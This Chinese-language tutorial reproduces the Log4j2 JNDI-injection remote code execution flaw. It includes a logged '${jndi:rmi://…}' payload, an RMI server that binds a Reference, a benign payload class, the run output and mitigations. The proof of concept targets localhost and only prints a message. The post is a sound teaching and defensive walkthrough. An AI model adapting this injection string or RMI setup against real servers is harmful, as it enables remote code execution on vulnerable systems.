漏洞原理
log4j2版本 < log4j-2.15.0-rc2 可由JNDI注入实现远程代码执行。
影响版本Log4j2.x<=2.14.1漏洞复现
漏洞原理的分析:
创建复现工程demo
引入log4j 的jar包
版本在log4j 2.0~2.14.1范围里,demo中引入的版本是2.13.3,如下:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.13.3</version>
</dependency>
编写测试用例和jndi/rmi远程服务[或者叫黑客要做的服务]
1.log4j2 测试用例
package com.example.demo.log4j2;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* @author lify
* @version 1.0
* @className Log4j2Test
* <p>
* TODO
* @date 2021/12/10.
*/
public class Log4j2Test {
private static Logger logger = LogManager.getLogger(Log4j2Test.class);
public static void main(String[] args) {
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// System.setProperty("java.rmi.server.useCodebaseOnly", "false");
String name = "${java:vm}";
// name = "${java:version}";
name = "${java:os}";
logger.error("hello,{}", name);
name = "${jndi:rmi://127.0.0.1:8080/rmiExecute}";//# 黑客端的一个jdni的服务地址
logger.error("hello,{}", name);
}
}
2.远程rmi执行的服务
rmi服务
package com.example.demo.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
/**
* @author lify
* @version 1.0
* @className RmiServer
* <p>
* log4j2远程执行漏洞复现:rmi远程服务server
* @date 2021/12/12.
*/
public class RmiServer {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(new Reference("com.example.demo.rmi.RmiExecute", "com.example.demo.rmi.RmiExecute", null));
registry.bind("rmiExecute", referenceWrapper);
System.out.println("rmi Server 'rmiExecute/1099' Started!\n");
} catch (Exception e) {
e.printStackTrace();
}
}
}
具体执行[模拟输出一句话‘触发执行黑客的服务…’]
package com.example.demo.rmi;
/**
* @author lify
* @version 1.0
* @className RmiExecute
* <p>
* 模拟远程黑客端执行
* @date 2021/12/12.
*/
public class RmiExecute {
static {
System.out.println("触发执行黑客的服务.....");
}
}
注意事项:
1.远程rmi服务的名称rmiExecute和端口号8080,在Log4j2Test的测试中需要一致;
2.如果以上执行不成功,可以在Log4j2Test放开:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
漏洞复现
Connected to the target VM, address: '127.0.0.1:50415', transport: 'socket'
12:37:15.687 [main] ERROR com.example.demo.log4j2.Log4j2Test - hello,Mac OS X 10.16 unknown, architecture: x86_64-64
触发执行黑客的服务.....
12:37:15.695 [main] ERROR com.example.demo.log4j2.Log4j2Test - hello,${jndi:rmi://127.0.0.1:8080/rmiExecute}
Disconnected from the target VM, address: '127.0.0.1:50415', transport: 'socket'
Process finished with exit code 0
如下图
rmi远程服务的代码已经在log4j2的日志输出时执行了;
是不是挺可怕的?!!!
漏洞解决办法
1.临时处理办法:
(1). jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2). log4j2.formatMsgNoLookups=True
(3).系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
2.升级log4j2版本
Log4j 官方非常重视该漏洞,目前已经发布了最新版本解决了该漏洞,使用log4j-2.15.0即可